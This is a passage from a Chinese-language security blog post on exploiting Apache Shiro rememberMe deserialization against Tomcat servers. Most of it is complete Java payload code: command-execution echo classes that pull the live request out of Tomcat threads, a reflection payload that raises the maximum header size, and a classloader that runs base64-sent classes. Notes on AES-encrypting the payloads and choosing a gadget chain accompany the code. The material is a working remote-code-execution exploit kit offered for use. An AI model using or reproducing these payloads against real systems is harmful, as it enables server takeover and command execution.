if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = new ProcessBuilder(cmds).start().getInputStream();
StringBuilder sb = new StringBuilder("");
byte[] bytes = new byte[1024];
int n = 0 ;
while ((n=inputStream.read(bytes)) != -1){
sb.append(new String(bytes,0,n));
}
Writer writer = response.getWriter();
writer.write(sb.toString());
writer.flush();
inputStream.close();
System.out.println("success");
flag = true;
break;
}
// System.out.println("success");
// flag = true;
// break;
if (flag){
break;
}
}
}
}
}
}
if (flag){
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
public static Object getField(Object obj, String fieldName) throws Exception {
Field f0 = null;
Class clas = obj.getClass();
while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}
if (f0 != null){
f0.setAccessible(true);
return f0.get(obj);
}else {
throw new NoSuchFieldException(fieldName);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
```
我们直接AES加密修改rememberMe,发现会返回错误提示请求头太大,因此我们要绕过Header长度限制,这也是shiro反序列化时经常遇到的问题
这时候需要修改长度限制,具体下面会说(建议先看完max size绕过部分,有大坑),这里先传一个反射修改max size的功能的class文件进行修改,显示200
之后再传我们的poc,执行成功
更通用的回显方法(全通用)
因为有长度问题,因此要先修改长度
```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Session;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
public class TomcatEcho extends AbstractTranslet {
static {
try {
boolean flag = false;
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
for (int i=0;i<threads.length;i++){
Thread thread = threads[i];
if (thread != null){
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")){
Object target = getField(thread,"target");
Object global = null;
if (target instanceof Runnable){
// 需要遍历其中的 this$0/handler/global
// 需要进行异常捕获,因为存在找不到的情况
try {
global = getField(getField(getField(target,"this$0"),"handler"),"global");
} catch (NoSuchFieldException fieldException){
fieldException.printStackTrace();
}
}
// 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
if (global != null){
List processors = (List) getField(global,"processors");
for (i=0;i<processors.size();i++){
RequestInfo requestInfo = (RequestInfo) processors.get(i);
if (requestInfo != null){
Request tempRequest = (Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
Response response = request.getResponse();
String cmd = null;
if (request.getParameter("cmd") != null){
cmd = request.getParameter("cmd");
}
if (cmd != null){
System.out.println(cmd);
InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
StringBuilder sb = new StringBuilder("");
byte[] bytes = new byte[1024];
int n = 0 ;
while ((n=inputStream.read(bytes)) != -1){
sb.append(new String(bytes,0,n));
}
Writer writer = response.getWriter();
writer.write(sb.toString());
writer.flush();
inputStream.close();
System.out.println("success");
flag = true;
break;
}
if (flag){
break;
}
}
}
}
}
}
if (flag){
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
public static Object getField(Object obj,String fieldName) throws Exception{
Field f0 = null;
Class clas = obj.getClass();
while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}
if (f0 != null){
f0.setAccessible(true);
return f0.get(obj);
}else {
throw new NoSuchFieldException(fieldName);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
```
Header 长度限制绕过
修改max size(其实不是很稳定)
通过反射修改 改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用,所以在修改完maxHeaderSize之后,需要多个连接同时访问(burp开多线程跑),让tomcat新建request的inputbuffer,这时候的buffer的大小就会使用修改后的值。
```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {
static {
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),10000);
}
}
}
// 10000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
}
}
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
```
使用cc链读取class生成ser文件然后把ser文件进行AES加密
注意,很多不成功就是死在AES加密上,使用我之前提供的python加密脚本会出现加密结果过长的问题导致修改max size的payload也会显示header过长
这里提供天下大木头师傅的github[https://github.com/KpLi0rn/ShiroVulnEnv](https://github.com/KpLi0rn/ShiroVulnEnv)
,里面自带一个AESEncode加密脚本,可以看到他的外部库都是调用的shiro自身的,所以用这个脚本加密起来会和shiro百分百匹配
利用 CloassLoader 加载来绕过长度限制(适用于Tomcat 7,8,9)
思路是给rememberMe传递一个classloader,让他接收一个执行命令的类来加载
这里给出类加载器的源码,使用CB链进行加载,经测试cc11等加载完之后loader也会出现请求头较大的情况因此选择CB
```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import java.util.Iterator;
public class TD extends AbstractTranslet {
static {
Object jioEndPoint = GetAcceptorThread();
if (jioEndPoint != null) {
java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)) {
continue;
}
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
org.apache.catalina.connector.Response response = request.getResponse();
String code = request.getParameter("class");
if (code != null) {
try {
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length);
cc.newInstance().equals(new Object[]{request, response});
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}
public static Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (Exception e) {
}
clazz = clazz.getSuperclass();
}
return null;
}
public static Object GetAcceptorThread() {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null || thread.getName().contains("exec")) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = getField(thread, "target");
if (!(target instanceof Runnable)) {
try {
Object target2 = getField(thread, "this$0");
target = thread;
} catch (Exception e) {
continue;
}
}
Object jioEndPoint = getField(target, "this$0");
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
} catch (Exception e) {
continue;
}
}
return jioEndPoint;
}
}
return null;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
```
执行命令的参数,base64对class进行编码,然后post传参class给classloader,CB链前面讲过这里不贴
```
import java.io.InputStream;
import java.util.Scanner;
public class cmd {
public boolean equals(Object req) {
Object[] context=(Object[]) req;
org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setContentType("text/html;charset=utf-8");
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().println("----------------------------------");
response.getWriter().println(output);
response.getWriter().println("----------------------------------");
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
}
return true;
}
}
```
执行结果
总结
在写这篇文章的过程中断断续续踩了无数的坑,当然只有踩坑的时候也就是进步的时候,最终把问题解决真是神清气爽,这篇文章参考了不少师傅的文章,里面记录了我的心得以及踩坑与解决思路,希望大家在看我文章的时候能学有所得,学有所思。在此感谢Sentiment师傅对我的大力帮助。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论